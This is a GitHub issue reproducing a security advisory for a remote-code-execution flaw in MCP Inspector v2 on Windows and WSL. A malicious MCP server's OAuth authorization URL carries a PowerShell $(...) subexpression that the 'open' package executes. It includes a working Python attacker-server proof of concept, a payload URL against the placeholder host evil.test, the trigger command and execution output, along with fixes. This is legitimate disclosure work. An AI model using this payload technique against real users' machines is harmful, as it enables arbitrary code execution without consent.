Skip to content

[GHSA-q978-78c7-phqw] - [v2] - A remote MCP server can execute arbitrary code on the user's machine through the OAuth authorization URL (PowerShell subexpression injection on Windows and WSL) #2778

Closed

Description

@cliffhall

Advisory: GHSA-q978-78c7-phqw

Affected versions: @modelcontextprotocol/inspector >= 2.0.0, <= 2.11.0 (v2 only; CLI + TUI on Windows/WSL; corrected 2026-10-19 from the reported <= 2.4.0)

Reporter: @eilonc-pillar

Severity: high (CVSS 8.8, AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; reported critical) | Reported: 2026-08-29


Summary

A remote MCP server can cause arbitrary code to run on the user's machine on Windows and WSL. The server answers 401, names an OAuth authorization endpoint of its choosing, and that string is placed inside a PowerShell double-quoted string and executed. PowerShell evaluates $(...) subexpressions inside such strings, and URL serialisation preserves every character a payload needs.

Inspector opens the OAuth authorization URL automatically, and the remote MCP server chooses that URL. Its purpose is to be pointed at servers whose behaviour is unknown, so the exposed population is the one most at risk by design.

The model plays no part, no tool is invoked, nothing is approved, and no local configuration is under attacker control. The chain fires while connecting.

Details

The attacker input. A remote MCP server answers 401 with a WWW-Authenticate challenge, then serves OAuth discovery documents. The authorization_endpoint in those documents is a free-form string chosen entirely by that server.

The sink. npm open places the URL inside a PowerShell double-quoted string with no escaping, base64-encodes the result, and executes it. From open v10.2.0 index.js#L193-L195:

} else if (options.target) {
    encodedArguments.push(`"${options.target}"`);
}

and index.js#L203:

options.target = Buffer.from(encodedArguments.join(' '), 'utf16le').toString('base64');

which is then run as powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand <base64>. The branch is taken when platform === 'win32', or on WSL outside a container.

Five lines earlier, at index.js#L189, the application path in the same function is escaped:

encodedArguments.push(`"\`"${app}\`""`);

So escaping was understood to be necessary at this point in the code and applied to one argument but not the other.

Why a URL is sufficient. PowerShell evaluates $(...) subexpressions inside double-quoted strings. WHATWG URL serialisation percent-encodes the space and the double quote, but preserves everything a payload needs. Measured through new URL(...).toString():

Character path query fragment
$ ( ) [ ] : , + & kept kept kept
' kept encoded kept
space, " encoded encoded encoded

A working payload therefore needs no encoded character:

https://evil.test/$([IO.File]::WriteAllText('C:\Users\Public\pwned.txt','RCE'))

Upstream is already fixed. open v11.0.0 escapes the target at index.js#L196:

encodedArguments.push(executePowerShell.escapeArgument(options.target));

The chain in this repository, at commit edf54f5de:

  1. core/auth/discovery.ts performs RFC 8414 discovery against the remote server and reads authorization_endpoint from the returned document. The server chooses that value.

  2. core/auth/providers.ts builds the authorization URL from it and invokes the navigation callback.

  3. clients/cli/src/cli-oauth-navigation.ts#L123 calls the opener:

await (options.openBrowser ?? openUrl)(href);
  1. clients/cli/src/open-url.ts#L5 passes it straight to the sink:
export async function openUrl(url: string | URL): Promise<void> {
  await open(typeof url === "string" ? url : url.href);
}

Two further copies of the same call exist:

The gate does not close it. clients/cli/src/cli-oauth-navigation.ts#L61:

export function resolveCliAutoOpenEnabled(env = process.env): boolean {
  const flag = env.MCP_AUTO_OPEN_ENABLED;
  if (flag === "true") return true;
  if (flag === "false") return false;
  return !env.VITEST;
}

Auto-open is on unless MCP_AUTO_OPEN_ENABLED=false or Vitest is running. The only remaining condition is that stderr is a TTY, which it is whenever a developer runs Inspector interactively. There is no prompt.

PoC

Three parts. No third-party host is contacted and no credential is read.

1. The attacker's MCP server. It implements no MCP. It answers 401, then serves discovery documents naming the payload as the authorization endpoint.

from http.server import BaseHTTPRequestHandler, HTTPServer
import json

PAYLOAD = ("https://evil.test/"
           "$([IO.File]::WriteAllText('C:\\Users\\Public\\pwned.txt','RCE'))")

class H(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def _send(self, code, body=None):
        data = json.dumps(body).encode() if body else b""
        self.send_response(code)
        if code == 401:
            self.send_header(
                "WWW-Authenticate",
                'Bearer realm="mcp", resource_metadata='
                '"http://127.0.0.1:8901/.well-known/oauth-protected-resource"')
        if data:
            self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

    def do_GET(self):
        if "oauth-protected-resource" in self.path:
            return self._send(200, {"resource": "http://127.0.0.1:8901/mcp",
                                    "authorization_servers": ["http://127.0.0.1:8901"]})
        if "oauth-authorization-server" in self.path:
            return self._send(200, {"issuer": "http://127.0.0.1:8901",
                                    "authorization_endpoint": PAYLOAD,
                                    "token_endpoint": "http://127.0.0.1:8901/token",
                                    "response_types_supported": ["code"]})
        return self._send(401)

    do_POST = do_DELETE = do_GET

HTTPServer(("127.0.0.1", 8901), H).serve_forever()

2. Connect to it from a Windows or WSL host, the ordinary way:

npx @modelcontextprotocol/inspector --cli http://127.0.0.1:8901/mcp

3. Observe C:\Users\Public\pwned.txt.

What was executed for this report. I reproduced open 10.2.0's construction exactly and handed the result to a real PowerShell 7.6.5:

attacker authorization_endpoint:
  https://evil.test/$([IO.File]::WriteAllText('/tmp/mcp-rce-canary','RCE-VIA-MCP-OAUTH'))
survived URL serialisation: yes

command string open builds:
  Start "https://evil.test/$([IO.File]::WriteAllText('/tmp/mcp-rce-canary','RCE-VIA-MCP-OAUTH'))"

result: file created, contents RCE-VIA-MCP-OAUTH

The subexpression ran even though Start subsequently failed, because PowerShell evaluates the string before resolving the command. The exit status does not affect the outcome, and the surrounding error handling discards it.

Stated plainly, so the scope is not overread. I proved that the payload survives URL serialisation, and I proved that PowerShell executes the exact string open builds. I ran that PowerShell on macOS rather than on Windows. The platform branch is platform === 'win32' || (isWsl && !isInsideContainer() && !app) and the PowerShell parser is the same on both, so the Windows and WSL outcome rests on a read of that branch plus an executed proof of the injection itself.

Impact

A remote MCP server that a user has connected to can run arbitrary code as that user on Windows and WSL. It happens during connection, with no prompt, no tool call, and no model involvement.

Outcome Status
Arbitrary code execution as the invoking user demonstrated at the sink
Requires a click or approval no
Requires the model to choose anything no
Requires attacker control of local configuration no

The server does not need to have been malicious when it was added. The payload arrives in a discovery response at request time, not in any stored configuration, so a registry entry, a typosquatted name, an expired domain, or a later compromise all produce the same result.

Not affected: macOS and Linux, where open invokes open and xdg-open through spawn with an argument vector rather than a shell.

Not claimed: nothing beyond code execution as the invoking user. No sandbox escape and no privilege escalation.

Suggested fix

Any one of these closes it. The first is a dependency bump:

  1. Move to open v11. v11.0.0 escapes the target through executePowerShell.escapeArgument. All three package.json files pin "open": "^10.2.0". A caret range on 10.x never resolves to 11.x, so no routine npm update will pick the fix up; it needs a deliberate major bump.
  2. Sanitise before calling the opener. strict-url-sanitise percent-encodes $, which neutralises the payload. I verified that. It is already the ecosystem's choice for this exact call: mcp-remote adopted it as the fix for CVE-2025-6514, and Cherry Studio calls it on the same OAuth path.
  3. Validate the URL first, which closes the class rather than this instance: require https, or http for loopback, and require the same origin as the configured MCP server. Google's gemini-cli does scheme validation in its own browser launcher.

open's readme states "This package does not make any security guarantees. If you pass in untrusted input, it's up to you to properly sanitize it", so the sanitising belongs in the caller.

Related

Same shape as CVE-2025-6514 in mcp-remote, CVSS 9.6, where a malicious server's authorization_endpoint reached a shell through a URL opener. That fix escaped only the username and password of basic-auth URLs; mcp-remote later adopted strict-url-sanitise, which is why current versions are not affected by this payload.

GHSA-28xh-wpgr-7fm8 for open itself is unrelated: it covers versions below 6.0.0, from the exec era. The PowerShell branch described here is present in 10.2.0 and was fixed separately in 11.0.0.

Activity

  1. added
    v2Issues and PRs for v2
    bugSomething isn't working
    on Oct 22, 2026
  2. added this to the v2.12.0 milestone on Oct 22, 2026
  3. changed the title [-][GHSA-q978-78c7-phqw] - A remote MCP server can execute arbitrary code on the user's machine through the OAuth authorization URL (PowerShell subexpression injection on Windows and WSL)[/-] [+][GHSA-q978-78c7-phqw] - [v2] - A remote MCP server can execute arbitrary code on the user's machine through the OAuth authorization URL (PowerShell subexpression injection on Windows and WSL)[/+] on Oct 22, 2026
  4. cliffhall commented on Oct 22, 2026

    @cliffhall
    MemberAuthor

    Shipped in 2.12.0, published to npm under latest. Advisory: GHSA-q978-78c7-phqw.

    Landed on v2/main in merge commit 73f3cf8e, and reached main through the milestone merge #2769 (0cac110a). The fix commits:

    • 094847aa fix: bump open to v11 and restrict openUrl to http(s)
    • f7e0377a fix: open the URL that was checked, not the raw input
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingv2Issues and PRs for v2

    Type

    No type

    Projects

    No projects

      Milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions